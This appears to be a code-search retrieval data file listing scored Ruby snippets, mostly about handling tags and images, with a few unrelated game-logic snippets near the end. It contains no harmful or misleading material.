[ { "docid": "84a776f1f86b06d464509228d4057f86", "score": "0.64369446", "text": "def tag_end(name)\r\n\t\r\n\t\t@tags.pop\r\n\t\r\n\tend", "title": "" }, { "docid": "d48826919dfcb04368e3dc6d456af03e", "score": "0.62673414", "text": "def image_tag # Could be called 'construct_image_tag'\n\t\t@media.unshift(\"<img src=\").push(\">\").join\n\tend", "title": "" }, { "docid": "7a05998e6b6532d3ffb0cb38a025c2a2", "score": "0.62087363", "text": "def add_image(data)\n regex = /(?<=ppageno\\s0'>)/\n data.gsub(regex) {\"\\n<%= image_tag 'page_images/#{self.filename}.jpg' %>\"}\n end", "title": "" }, { "docid": "15b6eb7b3c986221524418b6b7402427", "score": "0.6050271", "text": "def add_tag!(new_tag)\n image.tag(repo: @repo, tag: new_tag, force: true) unless image.nil?\n end", "title": "" }, { "docid": "8463d8b7aa55203599dff666a735e20c", "score": "0.5926349", "text": "def new_tag\n @next_tag ||= 0\n @next_tag += 1\n end", "title": "" }, { "docid": "1ace00586eedac299a31a9501135176e", "score": "0.5783838", "text": "def tagit(pic_path, image)\n tag = TkTextTag.new(@text, image.path)\n ii = ImageInfo.new(pic_path, image, tag)\n @image_info.push(ii)\n tag.bind(\"Double-1\", proc {self.rotate(ii)})\n tag.bind(\"Button-2\", proc {self.rotate(ii, 270)})\n tag.bind(\"Button-1\", proc {self.choose(ii)})\n end", "title": "" }, { "docid": "4e35725e71219d4545efc62029c886dc", "score": "0.57790256", "text": "def tag_end(name)\r\n\t\t\t@current = @stack.pop\r\n\t\tend", "title": "" }, { "docid": "a2bf552a6224d213c6e653d70048fff5", "score": "0.5626726", "text": "def add_tag\n\t\t@tag = Tag.find_or_create_by({\n\t\t\tname: \"#{params[:tag]}\"\n\t\t\t})\n\t\t@gif = Gif.find(params[:id])\n\t\t@gif.tags.push(@tag)\n\t\tredirect_to gif_path(@gif)\n\tend", "title": "" }, { "docid": "1a1ed6901e47cdc0574adcd75c6a4bff", "score": "0.55859834", "text": "def add_more_images(new_images)\n images = @school.school_images \n images += new_images\n @school.school_images = images\n end", "title": "" }, { "docid": "d34a685bb72792ce9cb76a294a42f985", "score": "0.5563461", "text": "def tags() end", "title": "" }, { "docid": "dceea31216ca9b22c50382c9019593d3", "score": "0.5554293", "text": "def add_picture(picture)\n pictures << picture\n end", "title": "" }, { "docid": "58030de9e84fd30517d0f76d7f3a7e2a", "score": "0.5539935", "text": "def update_tag\n mx, my = @tag_sprite.translate_mouse_coords\n bitmap = @tag_sprite.bitmap\n return if mx < 0 || my < 0 || mx >= bitmap.width || my >= bitmap.height\n\n mx /= 32\n my /= 32\n @tag_id = 384 + mx + my * 8\n update_tag_selector\n end", "title": "" }, { "docid": "8eca8edbb60769f901aae03a467e10d5", "score": "0.5509818", "text": "def image_tag() ; info[:image_tag] ; end", "title": "" }, { "docid": "8eca8edbb60769f901aae03a467e10d5", "score": "0.5509818", "text": "def image_tag() ; info[:image_tag] ; end", "title": "" }, { "docid": "bcc585e913345f49f557a646f263f68d", "score": "0.54787904", "text": "def image_tags\n tags = self.get_tags(\"<img\", true, true) + self.get_tags(\"<area\", true, true) + \n self.get_tags_with_attribute('type', 'image', { :after_body => true, :contains => false })\n end", "title": "" }, { "docid": "f4029fc4b16474ba2b790326c2ac9f56", "score": "0.5456772", "text": "def count_untagged_images\n self.untagged_images_number = 0 #todo\n end", "title": "" }, { "docid": "e3d120cbab176ec9a719db6fb591f3a3", "score": "0.5453758", "text": "def set_tags\n @picture = Picture.find(params[:picture_id])\n end", "title": "" }, { "docid": "3d7be7b051b18286b9e68dd16a4a0e59", "score": "0.54515207", "text": "def tag(tag)\n photos('tags'=>tag)\n end", "title": "" }, { "docid": "3d7be7b051b18286b9e68dd16a4a0e59", "score": "0.54515207", "text": "def tag(tag)\n photos('tags'=>tag)\n end", "title": "" }, { "docid": "2d4ef1e1370e8feb0bc8d878eb239744", "score": "0.5449238", "text": "def add_tag(tag)\n @interface.add_tags_to_image(self, [tag])\n end", "title": "" }, { "docid": "d6ad513f224cb5186b2e2f36c7780911", "score": "0.54425234", "text": "def next_tag_name\n # do calculations as above and return new string\n Integer(last_tag) + 1\nend", "title": "" }, { "docid": "15a857d27d469281117f7e41e396b51c", "score": "0.54412913", "text": "def add_first_occurring_tag_to_prs(tags, prs); end", "title": "" }, { "docid": "4b01d52f74a0c14764a2b954bbd0f4fc", "score": "0.54181224", "text": "def avoid_duplicate_image_names(content)\n\n nodes = content.xpath(\"//draw:frame[@draw:name]\")\n\n nodes.each_with_index do |node, i|\n node.attribute('name').value = \"pic_#{i}\"\n end\n\n end", "title": "" }, { "docid": "4b01d52f74a0c14764a2b954bbd0f4fc", "score": "0.54181224", "text": "def avoid_duplicate_image_names(content)\n\n nodes = content.xpath(\"//draw:frame[@draw:name]\")\n\n nodes.each_with_index do |node, i|\n node.attribute('name').value = \"pic_#{i}\"\n end\n\n end", "title": "" }, { "docid": "4b01d52f74a0c14764a2b954bbd0f4fc", "score": "0.54181224", "text": "def avoid_duplicate_image_names(content)\n\n nodes = content.xpath(\"//draw:frame[@draw:name]\")\n\n nodes.each_with_index do |node, i|\n node.attribute('name').value = \"pic_#{i}\"\n end\n\n end", "title": "" }, { "docid": "4b01d52f74a0c14764a2b954bbd0f4fc", "score": "0.54181224", "text": "def avoid_duplicate_image_names(content)\n\n nodes = content.xpath(\"//draw:frame[@draw:name]\")\n\n nodes.each_with_index do |node, i|\n node.attribute('name').value = \"pic_#{i}\"\n end\n\n end", "title": "" }, { "docid": "ea395bd425c2a82a4571926f675efac2", "score": "0.54104286", "text": "def current\n\t\t\t\t@begin_tags.last\n\t\t\tend", "title": "" }, { "docid": "233c47bf5becd17ea341b09096f09941", "score": "0.54097307", "text": "def add_tags(tags)\n @interface.add_tags_to_image(self, tags)\n end", "title": "" }, { "docid": "62d44bcadd57f9ad04ddb4443e32c80c", "score": "0.5404713", "text": "def avoid_duplicate_image_names(content)\n\t\t\tnodes = content.xpath(\"//draw:frame[@draw:name]\")\n\t\t\tnodes.each_with_index do |node, i|\n\t\t\t\tnode.attribute('name').value = \"pic_#{i}\"\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "f770bee2c147f691b349a70671e3c5d9", "score": "0.54039633", "text": "def update_autotile_tag(tag_id = @tag_id)\n mx, my = @autotile_tag.translate_mouse_coords\n bitmap = @autotile_tag.bitmap\n return if mx < 32 || my < 0 || mx >= bitmap.width || my >= bitmap.height\n\n mx /= 32\n data = @data_systemtags\n (48 * mx).upto(48 * mx + 47) do |tile_id|\n data[tile_id] = tag_id\n end\n draw_tag(@autotile_tag.bitmap, mx * 32, 0, tag_id == 0)\n end", "title": "" }, { "docid": "e81b208a8401ee79f3099399a2b1abda", "score": "0.5389512", "text": "def tag_pic(pic_id, tags)\n @flickr_indio.tag(pic_id, tags)\n puts \"tagged #{pic_id} with #{tags}\"\n end", "title": "" }, { "docid": "c1282fa4ad396c9cf08dd6ea7d937200", "score": "0.5384147", "text": "def tag(new_tag)\n @tags << new_tag if new_tag\n end", "title": "" }, { "docid": "f3efa657d104acbf0dd5732eb565e69f", "score": "0.53749543", "text": "def added_image\n h = image\n entry = Create.entry\n entry[\"guid\"] = 'new_guid'\n h['collections']['Media Data Service'].push entry\n h\n end", "title": "" }, { "docid": "3019162a5d833927e5dbd84970b6cfbf", "score": "0.5369448", "text": "def replace_new_content_image(content)\n content.gsub(/\\[image_library_tag \\d+\\/\\d+,[^,|\\]]*,[^,|\\]]*\\]/) do |img_tag|\n img_tag=~/\\[image_library_tag \\d+\\/(\\d+),([^,|\\]]*),([^,|\\]]*)\\]/\n new_image_library_tag($1,$2,$3)\n end\n end", "title": "" }, { "docid": "1c8cb5f40f5a03a6a86edb1db3c52384", "score": "0.536738", "text": "def close_tags\n text = @modified_string\n\n open_tags = []\n text.scan(/<([a-zA-Z0-9]+?)(\\s[^>]*)?>/).each { |t| open_tags.unshift(t[0]) }\n text.scan(/<\\/\\s*?([a-zA-Z0-9]+)\\s*?>/).each { |t| open_tags.slice!(open_tags.index(t[0])) unless open_tags.index(t[0]).nil? }\n open_tags.each { |t| text += \"</#{t}>\" unless %w(img br hr).include?(t.to_s) }\n \n @modified_string = text\n return self\n end", "title": "" }, { "docid": "dbee723c55c2044383693f599f416615", "score": "0.53424406", "text": "def last_tag\n tags = request_handler(\"repository/tags\")\n # here we are only interested in the last tag name\n tags.last[\"name\"]\nend", "title": "" }, { "docid": "cdc64ae141f41203e52411047ab076cb", "score": "0.5330582", "text": "def add_image(prod , row ) super end", "title": "" }, { "docid": "140e36bf20cf71e035daef9348d4d7a9", "score": "0.5326028", "text": "def add_tags new_tags\n new_tags.each do |t|\n tags << t unless tags.exists?(:name => t.name)\n end\n end", "title": "" }, { "docid": "c00263f296cd9f1903e969b16dfbf96e", "score": "0.5321534", "text": "def add_tags(tags)\n @flickr.send_request('flickr.photos.addTags', {:photo_id => self.id, :tags => tags}, :post)\n true\n end", "title": "" }, { "docid": "c00263f296cd9f1903e969b16dfbf96e", "score": "0.5321534", "text": "def add_tags(tags)\n @flickr.send_request('flickr.photos.addTags', {:photo_id => self.id, :tags => tags}, :post)\n true\n end", "title": "" }, { "docid": "3fea3acbc68dd20e55e25709b1996f55", "score": "0.5319763", "text": "def tag_end(name)\r\n end_element\r\n end", "title": "" }, { "docid": "c909420681e450550f4414d8fec68f50", "score": "0.5317908", "text": "def addTagIfNeed(tag)\n if(!hasTag(tag)) then\n @tagList.push(tag) ;\n end\n end", "title": "" }, { "docid": "a8ba4b8203dbcea02b18554138c407d7", "score": "0.53162813", "text": "def create_tag\n @photo= Photo.find(params[:id])\n @photo.x_cord.push(params[:x_cord])\n @photo.y_cord.push(params[:y_cord])\n @photo.tag.push(params[:tag])\n @photo.save\n end", "title": "" }, { "docid": "d051a1fe0daafcae802529834e245870", "score": "0.5314447", "text": "def tag_end name\n \n #if ending a </app:collection> tag\n if [COLLECTION_TAG, COLLECTION_TAG_SIMPLE].include?(name)\n #finished with our current collection, save it and clear out current collection\n @parsed_service_doc.collections << @curr_collection\n @curr_collection = nil\n end\n\n #clear out current tag name, no matter what\n @curr_tag_name = \"\"\n end", "title": "" }, { "docid": "9dc723b5d8dffbbfe1deb9b9b7546c2f", "score": "0.5309116", "text": "def name\n tags_array.last\n end", "title": "" }, { "docid": "296596bdc722e9c72a6405d0affd5547", "score": "0.529752", "text": "def add_image(img)\n images.push(img) unless images.include?(img)\n end", "title": "" }, { "docid": "2ba62b2bd38eff59f0eb43177ab8f4e8", "score": "0.5291217", "text": "def append_tags(tags)\n keys = tags.keys.sort\n new_tags = []\n keys.each do |k|\n next if tags[k][\"name\"].to_s.strip.empty?\n tag = Tag.find_or_create_by_name(tags[k][\"name\"])\n if tags[k][\"_destroy\"] == \"1\"\n @firm.tags.delete(tag)\n else\n new_tags << tag\n end\n end\n new_tags.each { |t| @firm.tags << t unless @firm.tags.include?(t) }\n end", "title": "" }, { "docid": "5f9dc209858758e9a15437975dfed921", "score": "0.5289299", "text": "def tag(new_tag)\n @tags << new_tag\n end", "title": "" }, { "docid": "5f9dc209858758e9a15437975dfed921", "score": "0.5289299", "text": "def tag(new_tag)\n @tags << new_tag\n end", "title": "" }, { "docid": "5f9dc209858758e9a15437975dfed921", "score": "0.5289299", "text": "def tag(new_tag)\n @tags << new_tag\n end", "title": "" }, { "docid": "8e7435965d6a5e2db98979e92c76dfb8", "score": "0.527668", "text": "def addTag(tag, inc=0)\n @tags[tag] += inc\n @parent.addTag(tag, 1) if @parent\n end", "title": "" }, { "docid": "6bfdc8baa637e58e61e634515324af15", "score": "0.5265532", "text": "def tagging(*) end", "title": "" }, { "docid": "435fde8a41f7158e5b33873fc4699297", "score": "0.5265523", "text": "def tag_end(tag)\n @depth -= 1\n end", "title": "" }, { "docid": "007d7bda10ff772830e37a6dc6b0975e", "score": "0.5257429", "text": "def add_tags tags\n tags.each do |tag|\n if not @data['tag'].include? tag then\n @data['tag'] << tag\n end\n end\n end", "title": "" }, { "docid": "730e32d99f82beb687554a5779d56014", "score": "0.525589", "text": "def last_tag\n @tokens.last && @tokens.last[0]\n end", "title": "" }, { "docid": "5115ba21ad83f5df77cf567e1b9a7471", "score": "0.5244185", "text": "def update_media_tags_in(item)\n \n klass = Class.new {\n def initialize(obj); @object = obj; end\n def media; @object; end\n def get_binding; binding(); end\n }\n\n if images_template\n output.puts \" images...updating tags\"\n item.update_images do |tag, img|\n div = tag.parent\n tag.remove\n t = ERB.new(images_template).result(klass.new(img).get_binding)\n div.add_child t\n output.puts \" #{img.identifier} => #{t}\"\n end\n end\n \n # TODO for audio_files, videos\n end", "title": "" }, { "docid": "8dad54b4af2ff61aaa00fab5964b4b09", "score": "0.5242919", "text": "def add_tag(t)\n \n unless t.nil? \n self.push(t)\n tag_added self[self.index(t)]\n return self\n else\n return nil \n end\n \n end", "title": "" }, { "docid": "94632760b7c252c933bf38ccf30a1796", "score": "0.5222438", "text": "def add_photos tmpFlg, listing\n @listing.pictures.each do |pic|\n\n # check if listing & photo already exists for pixi edit\n if tmpFlg && !listing.new_record?\n next if listing.pictures.where(:photo_file_name => pic.photo_file_name).first\n end\n\n # add photo\n listing.pictures.build(:photo => pic.photo, :dup_flg => true)\n end\n listing\n end", "title": "" }, { "docid": "c9ccb60c184ad5ecb721e50b1288e5ad", "score": "0.5217663", "text": "def addTag(tag)\n @tagList.push(tag) ;\n end", "title": "" }, { "docid": "f14c9e398470aae6ed10d59dcc815101", "score": "0.52075547", "text": "def next_pic\n original_pic = self.original_picture\n # id_list = original_pic.project_submission.original_pictures_id\n id_list = original_pic.project.pictures.\n where(:is_original => true, :is_deleted => false , :is_selected => true ).\n order(\"name ASC\") .map {|x| x.id }\n\n current_pic_index = id_list.index( original_pic.id )\n\n if current_pic_index < ( id_list.length - 1 )\n return Picture.find_by_id( id_list.at ( current_pic_index + 1 ) ).last_revision \n else\n return nil \n end\n end", "title": "" }, { "docid": "c5036461b8ce08472ca4863556d51286", "score": "0.5201304", "text": "def image_prev()\n return unless position > 0\n images[position - 1]\n end", "title": "" }, { "docid": "bab72627ab273b93f232ec46183e2433", "score": "0.5189626", "text": "def tags=(p0) end", "title": "" }, { "docid": "8b306fd5b8766992a8cbcec8914e08c1", "score": "0.5187491", "text": "def add_tail(text, tag = nil)\n @view.buffer.insert(@view.buffer.end_iter, text.scrub)\n unless tag == nil # format by specified tag\n iter_s = @view.buffer.get_iter_at(offset: @view.buffer.end_iter.offset - text.size)\n iter_e = @view.buffer.end_iter\n @view.buffer.apply_tag(tag, iter_s, iter_e)\n end\n end", "title": "" }, { "docid": "a9514171c608a5a53d047ad9459392cc", "score": "0.5184333", "text": "def add_tag(tag)\n @tags << tag\n @tags.uniq!\n end", "title": "" }, { "docid": "86438c993e76b970ee6c19d3f1e4a7c9", "score": "0.5183359", "text": "def add_last(node)\n end", "title": "" }, { "docid": "b2e57459f1728bbf8cc8242aeb7038c8", "score": "0.5176366", "text": "def insert(img_attrs)\n @file.puts(img_attrs.join(','))\n end", "title": "" }, { "docid": "b2e57459f1728bbf8cc8242aeb7038c8", "score": "0.5176366", "text": "def insert(img_attrs)\n @file.puts(img_attrs.join(','))\n end", "title": "" }, { "docid": "60eaf71897311c163be2654c5b0c0a11", "score": "0.51741934", "text": "def next_pic\n original_pic = self.original_picture\n # id_list = original_pic.project_submission.original_pictures_id\n id_list = original_pic.project.pictures.\n where(:is_original => true, :is_deleted => false , :is_selected => true ).\n order(\"created_at ASC\") .map {|x| x.id }\n\n current_pic_index = id_list.index( original_pic.id )\n\n if current_pic_index < ( id_list.length - 1 )\n return Picture.find_by_id( id_list.at ( current_pic_index + 1 ) ).last_revision \n else\n return nil \n end\n end", "title": "" }, { "docid": "d09a8cade59e487ec72d279f5b28ac8c", "score": "0.5173694", "text": "def append_tags\n self.text += (\" \"+self.tag_string) if !self.tag_string.blank?\n true\n end", "title": "" }, { "docid": "eb13766e3744d4b04be2950cd14c3886", "score": "0.51625896", "text": "def image_next()\n return unless position + 1 < images.size\n images[position + 1]\n end", "title": "" }, { "docid": "8a289bc3cc85c508fd7642fca87f8ae2", "score": "0.5155141", "text": "def add_tag(tag)\n\tif tag == :actor\n\t\tthen return self + \"_(actor)\"\n\telsif tag == :film\n\t\tthen return self + \"_(film)\"\n\tend\n end", "title": "" }, { "docid": "ae64fd13658028559afac96110e22468", "score": "0.51512027", "text": "def pop(original_tag)\n tag = if original_tag.is_a?(Symbol)\n original_tag\n else\n original_tag.downcase.to_sym\n end\n\n # no more tags left to pop || this tag isn't in the list\n if empty? || !include?(tag)\n buffer.push(\"[/#{original_tag}]\")\n elsif last == tag\n buffer.push(BBCoder::Tag.to_html(_internal.pop, buffer.depth, _meta.delete(size+1), buffer.pop(+1)))\n elsif include?(tag)\n # repeats pop(tag) until we reach the last == tag\n buffer.push(join(+1))\n pop(tag)\n end\n end", "title": "" }, { "docid": "871e2788a98f233aa8ff397e44a64181", "score": "0.5146803", "text": "def avoid_duplicate_image_names(content)\n nodes = content.xpath(\"//draw:frame[@draw:name]\")\n nodes.each_with_index do |node, i|\n node.attribute('name').value = \"pic_#{i}\"\n node.xpath(\".//draw:image\").each do |draw_image|\n if !draw_image.attribute('href').nil?\n href = draw_image.attribute('href').value\n end\n unless href.to_s.empty?\n @global_image_paths_set.add(href)\n end\n end\n end\n end", "title": "" }, { "docid": "a24a8b43cfe5045676dbe05138d846bf", "score": "0.51442397", "text": "def add_last(e)\n\tend", "title": "" }, { "docid": "4cbc6a87f2b26873610ead76fc84f1c1", "score": "0.51431984", "text": "def addtag_below(tag, tag_or_id)\n execute_only(:addtag, tag, :below, tag_or_id)\n end", "title": "" }, { "docid": "520f5f5ff92520872f0f9ba9a220d2aa", "score": "0.51421875", "text": "def image_tag; \"#{version}-#{sha}#{image_suffix}\" end", "title": "" }, { "docid": "9b3bb9b57ab5108c295f4cbe7baddd6a", "score": "0.51419044", "text": "def exif_tag(custom_tag)\n return tags(custom_tag).to_s.gsub(\",\", \";\")\n end", "title": "" }, { "docid": "51603cd18e6ae5e491fb78bf1de37733", "score": "0.5140282", "text": "def add_tag(new_tags)\n # TODO: Parse input tags?\n @tags = (tags + parse_tags(new_tags)).uniq\n @saved = false\n save if @autosave\n @tags\n end", "title": "" }, { "docid": "19290bc5a6b04e2e1883080491767c11", "score": "0.5137411", "text": "def multi_hier\n Image.each do |i|\n tids = TaggedImage.where(imgid: i.id).select_map(:tagid)\n next if tids.empty?\n\n ht = UsedTag\n .where(id: tids).select_map(:name)\n .reject { |t| t.start_with? 'darktable' }\n .select { |t| t.include? '|' }\n puts \"#{i.filename} #{ht}\" if ht.length > 1\n end\n end", "title": "" }, { "docid": "8583b131378cdf180d3edfe57d823215", "score": "0.51350415", "text": "def find_or_create_tag(tag_name,parent)\n #log.debug \"Processing tag #{tag_name}\"\n tag_code_object = YARD::Registry.all(:tag).find {|tag| tag.value == tag_name } ||\n YARD::CodeObjects::Cucumber::Tag.new(YARD::CodeObjects::Cucumber::CUCUMBER_TAG_NAMESPACE,tag_name.gsub('@','')) {|t| t.owners = [] ; t.value = tag_name }\n\n tag_code_object.add_file(@file,parent.line)\n\n parent.tags << tag_code_object unless parent.tags.find {|tag| tag == tag_code_object }\n tag_code_object.owners << parent unless tag_code_object.owners.find {|owner| owner == parent}\n end", "title": "" }, { "docid": "b1fcae233d292f3df1082bf48544faa0", "score": "0.5131802", "text": "def ptt_i\n photo_taggings_in.map(&:occasion).uniq.map do |o|\n s = o.hs + (o.photo_taggings.of(self.id).map{ |pt| \"#{pt.id}:p#{pt.photo.id}:u#{pt.tagger_id}\"}*',').enclose('(')\n end.join(\",\") \n end", "title": "" }, { "docid": "5aa22ae1fe542a792324c424eb67f032", "score": "0.51294035", "text": "def remove_previous_image\n self.picture_url.remove!\n self.picture_url.thumb.remove!\n self.update_column(:picture_url, '')\n end", "title": "" }, { "docid": "9a5fb7e2c1122123c91e73c7f4bf6d5a", "score": "0.5126048", "text": "def add_pic(options = T.unsafe(nil)); end", "title": "" }, { "docid": "402342c944c173e12d5bcdae79cbead5", "score": "0.51237005", "text": "def add_tag(new_tag_value)\n # Make sure tag is not already present\n unless self.get_tags.include?(new_tag_value)\n tag = Tag.new\n tag.value = new_tag_value\n self.tags << tag\n end\n return self.get_tags \n end", "title": "" }, { "docid": "9f717b1cce69d6f83b4b29764e7df043", "score": "0.51230335", "text": "def icon_tag(file_name, text)\n image = h.image_tag(file_name)\n image += \" #{text}\" if text.present?\n image\n end", "title": "" }, { "docid": "ce33b062429e90f11afb2d8a528471cc", "score": "0.51189524", "text": "def tags\n start.elements.last.empty? ? [] : start.elements.last\n end", "title": "" }, { "docid": "0a3ee2de3f266f16e6b916f105590d4a", "score": "0.51188934", "text": "def add_image(value)\n @children['image'][:value] << value\n end", "title": "" }, { "docid": "e1e528dd651e7cfebec11a5b077b8910", "score": "0.5118774", "text": "def tag_img( log ) \n img = case log.mole_feature.name\n when MoleFeature.performance : \"clock\"\n when MoleFeature.exception : \"bomb\"\n else \"item\"\n end \n image_tag \"#{img}.gif\", :class => \"image_tag\" \n end", "title": "" }, { "docid": "7fe5fbc9a0b0033b24677dc9e891616c", "score": "0.51164645", "text": "def tags(tags)\n rules.last.tags += tags\n end", "title": "" }, { "docid": "7fe5fbc9a0b0033b24677dc9e891616c", "score": "0.51164645", "text": "def tags(tags)\n rules.last.tags += tags\n end", "title": "" }, { "docid": "88cc643d598dabebc6b645f6de81492d", "score": "0.51130545", "text": "def create\n @photo = Photo.new(photo_params)\n @photo.save!\n \n tags = params[:photo][:tags].split(\",\")\n tags.each do |tag|\n exists = Tag.find_by_name(tag)\n if !!exists\n new_tag = exists\n else\n new_tag = Tag.new(name: tag)\n new_tag.save!\n end\n @photo.taggings.new(tag_id: new_tag.id, photo_id: @photo.id).save!\n end\n render 'show'\n end", "title": "" }, { "docid": "24453dad1f5399d71281aa01c16621d5", "score": "0.5112836", "text": "def next_thumbnail\n if self.thumbnail\n new_thumb = self.airframe.images.where(\"image_file_name IS NOT null AND thumbnail = 'f'\").first\n if new_thumb\n new_thumb.thumbnail = true\n new_thumb.save()\n end\n end\n end", "title": "" }, { "docid": "c6ba77c4e36910408038f3862128e6f4", "score": "0.5088419", "text": "def tags() []; end", "title": "" }, { "docid": "374d4fd6f327721c0571662b89732930", "score": "0.50863934", "text": "def add_tags (place, tags) \n tags.each do|tag|\n place.tags << Tag.find(:all, :conditions => { :name => tag })\n end\n end", "title": "" }, { "docid": "176009733e4543badd0b6b0096f7aa19", "score": "0.5086154", "text": "def add_tags_to_item(item, tags_to_add)\n \ttags_to_add.each do |tag_id|\n \t if tag_id.present?\n \t\ttag = Tag.find(tag_id)\n \t\titem.tags << tag\n \t end\n \tend\n end", "title": "" }, { "docid": "21a75f01bc93deac10091cfb6004b0e8", "score": "0.508313", "text": "def add_seq\n photo = Mokio::Photo.where(imageable_id: self.imageable_id)\n if !photo.blank?\n lastseq = photo.order_default.last.seq\n self.seq = lastseq.to_i + 1\n else\n self.seq = 1\n end \n end", "title": "" }, { "docid": "2ac6dcbd14939b34eafb4ededd50ef9a", "score": "0.50705695", "text": "def tag_add_and_save(add_list)\n self.tag_list = self.tag_list + current_tag_list(add_list)\n self.save\n self.tag_list\n end", "title": "" }, { "docid": "2ac6dcbd14939b34eafb4ededd50ef9a", "score": "0.50705695", "text": "def tag_add_and_save(add_list)\n self.tag_list = self.tag_list + current_tag_list(add_list)\n self.save\n self.tag_list\n end", "title": "" }, { "docid": "e049f31b5fc42fe5c8f78e3e696b94ca", "score": "0.5068451", "text": "def add_last(data)\n\n end", "title": "" }, { "docid": "1ee1fd53e87455fbf5e39cfdd61d11cd", "score": "0.5060645", "text": "def add_tag\n tags = @story.tag_list\n if request.post?\n tags << \" \" + params[:tag][\"name_#{params[:story_id]}\"]\n @story.tag_with(tags)\n @story.save\n #seems silly\n @story = Story.find(params[:story_id])\n end\n end", "title": "" } ]
d6fea44af261a61405e94322d0bc6cde
determines the underdog of the game
[ { "docid": "43d36486fa2541c30dc26f90e423e017", "score": "0.710438", "text": "def underdog\n\t if home_team != favorite\n\t home_team\n\t else\n\t visitor_team\n\t end\n\tend", "title": "" } ]
[ { "docid": "4eac9a888f8255945c5eda4662a4117a", "score": "0.63779134", "text": "def silly_adjective\n fetch('creature.bird.silly_adjectives')\n end", "title": "" }, { "docid": "8c17674ed467b89ea08094a66e08f777", "score": "0.62167895", "text": "def pika_attack(enemy_hp)\n #randomization\n random = rand(10) + 1 #includes 10\n if random == 1 || random == 2\n puts \"Oh no, Pikachu missed!\".colorize(:yellow)\n elsif random == 3 || random == 4 || random == 5\n enemy_hp = enemy_hp - 2\n puts \"Pikachu used Tail Whip. Enemy's hp is reduced to #{enemy_hp}.\".colorize(:yellow)\n elsif random == 6 || random || 7 || random == 8\n enemy_hp = enemy_hp - 3\n puts \"Pikachu used ThunderShock. Enemy's hp is reduced to #{enemy_hp}.\".colorize(:yellow)\n else\n enemy_hp = enemy_hp - 4\n puts \"Pikachu used Slam. Enemy's hp is reduced to #{enemy_hp}.\".colorize(:yellow)\n end\n return enemy_hp\nend", "title": "" }, { "docid": "0be3e21c489b38459b150518bae85c11", "score": "0.6209014", "text": "def attack(opponent)\n\t\tmoveNumber = Random.new.rand(1..3)\n\t\tif(moveNumber == 1)\n\t\t\tp @name + \" kicks \"+ opponent.name #+\" loses 3 HP\"\n\t\t\topponent.HP-=3\n\t\t\tp opponent.name + \" loses 3 HP. His new HP is\"\n\t\t\tp opponent.HP\n\t\telsif(moveNumber == 2)\n\t\t\tp @name + \" scrachs \"+opponent.name #+\" loses 2 HP\"\t\n\t\t\tp opponent.name + \" loses 2 HP. His new HP is\"\n\t\t\topponent.HP-=2\n\t\t\tp opponent.HP\n\t\telsif(moveNumber == 3)\n\t\t\tp @name + \" bites \"+opponent.name #+\" loses 1 HP\"\n\t\t\tp opponent.name + \" loses 1 HP. His new HP is\"\n\t\t\topponent.HP-=1\n\t\t\tp opponent.HP\n\t\tend\n\tend", "title": "" }, { "docid": "8a5399ac3ee76a70335a06a2e7e645bf", "score": "0.6188881", "text": "def enemy_attack(pika_hp)\n random = rand(10) + 1 #includes 10\n if random == 1 || random == 2 || random == 3 || random == 4\n puts \"The enemy's attack missed! Pikachu's hp is #{pika_hp}.\".colorize(:red)\n elsif random == 5 || random == 6\n pika_hp = pika_hp - 1\n puts \"The enemy used Growl. Pikachu's hp is reduced to #{pika_hp}.\".colorize(:red)\n elsif random == 7 || random == 8\n pika_hp = pika_hp - 2\n puts \"The enemy used Quick Attack. Pikachu's hp is reduced to #{pika_hp}.\".colorize(:red)\n else\n pika_hp = pika_hp - 3\n puts \"The enemy used Scratch. Pikachu's hp is reduced to #{pika_hp}.\".colorize(:red)\n end\n return pika_hp\nend", "title": "" }, { "docid": "8d4555fa63efd9322320796d1e7d2da5", "score": "0.61843485", "text": "def game_over()\n if $hidden_word_arr.exclude?(\"_\")\n puts \"You win the game! Well done!\"\n $end_game = true\n elsif $turns == 0\n puts \"It looks like you weren't able to guess the right letters. The word was #{$word}. Better luck next time!\"\n $end_game = true\n end\n end", "title": "" }, { "docid": "e311609293630d0496ea36fb56a5905d", "score": "0.6174947", "text": "def is_game_over?; won_by?(:hunter) || won_by?(:prey) end", "title": "" }, { "docid": "35bdcf89e2829a8c2608d6f40726da59", "score": "0.61379063", "text": "def victory_check\n if @word == @player\n @game_over = true\n puts \"Victory!\"\n elsif @wrong_count >= 5\n @game_over = true\n puts \"Defeat!\"\n puts \"The word was: '#{@word.join('')}'\"\n end\n end", "title": "" }, { "docid": "e92ce6e6e1f715014eea5e8e3c5913c0", "score": "0.61354333", "text": "def blizzard\n event_display(\"New York had a huge blizzard!\\n All players stayed home and enjoyed the rest.\")\n group_event_hash_creator({soft_skills: -2, wellbeing: 1})\n end", "title": "" }, { "docid": "46e6ade2579b26b999a9ecbcb4dc196a", "score": "0.6128731", "text": "def gotAttack(damage)\r\n @@probsDeflects = Array['deflect', 'deflect', 'deflect', 'deflect', 'deflect',\r\n 'deflect', 'deflect', 'deflect', 'got hit', 'got hit' ]\r\n\r\n @@probs = @@probsDeflects[rand(0..9)]\r\n if @role.upcase == \"HERO\"\r\n if @@probs == 'deflect'\r\n puts \"#{@name} deflects the attack.\"\r\n @hitpoint += damage\r\n end\r\n end\r\n @hitpoint -= damage\r\n end", "title": "" }, { "docid": "f821edb56b0b71542036dbc37ce03f44", "score": "0.6122358", "text": "def game_over\n end", "title": "" }, { "docid": "b38074b7965fcb78762b38cfc98ac9ab", "score": "0.6108108", "text": "def play_night_phase\n increment_phase\n villager_to_kill = @players.reject {|player| player.is_werewolf? }.random\n\n # healer picks someone at random, is ignorant of seer's cleared list\n if @players.any? { |player| player.is_healer? } && villager_to_kill == @players.random\n log \"NIGHT: Wolves kill nobody; the #{villager_to_kill.class} was healed\"\n else\n log \"NIGHT: Wolves kill a #{villager_to_kill.class}\"\n @players.delete villager_to_kill\n end\n end", "title": "" }, { "docid": "d31e0690383c3fd5cec494674b662313", "score": "0.6097568", "text": "def search_health_pack\r\n des = rand(1..6)\r\n if des == 1 \r\n puts \"Tu n'as rien trouvé...\"\r\n elsif des >=2 && des <= 5\r\n @life_points = @life_points + 50\r\n puts \"Bravo, tu as trouvé un pack de +50 points de vie !\"\r\n else\r\n @life_points = @life_points + 80\r\n puts \"Waow, tu as trouvé un pack de +80 points de vie !\"\r\n end\r\n\r\n if @life_points > 100\r\n @life_points = 100\r\n end\r\n end", "title": "" }, { "docid": "7a57ac45503174e51a8ef06bb6623878", "score": "0.6033772", "text": "def search_health_pack\n \t\t\trand(1..6)\n \t\t\tresult = rand(1..6)\n \t\t\tif result == 1\n \t\t\t 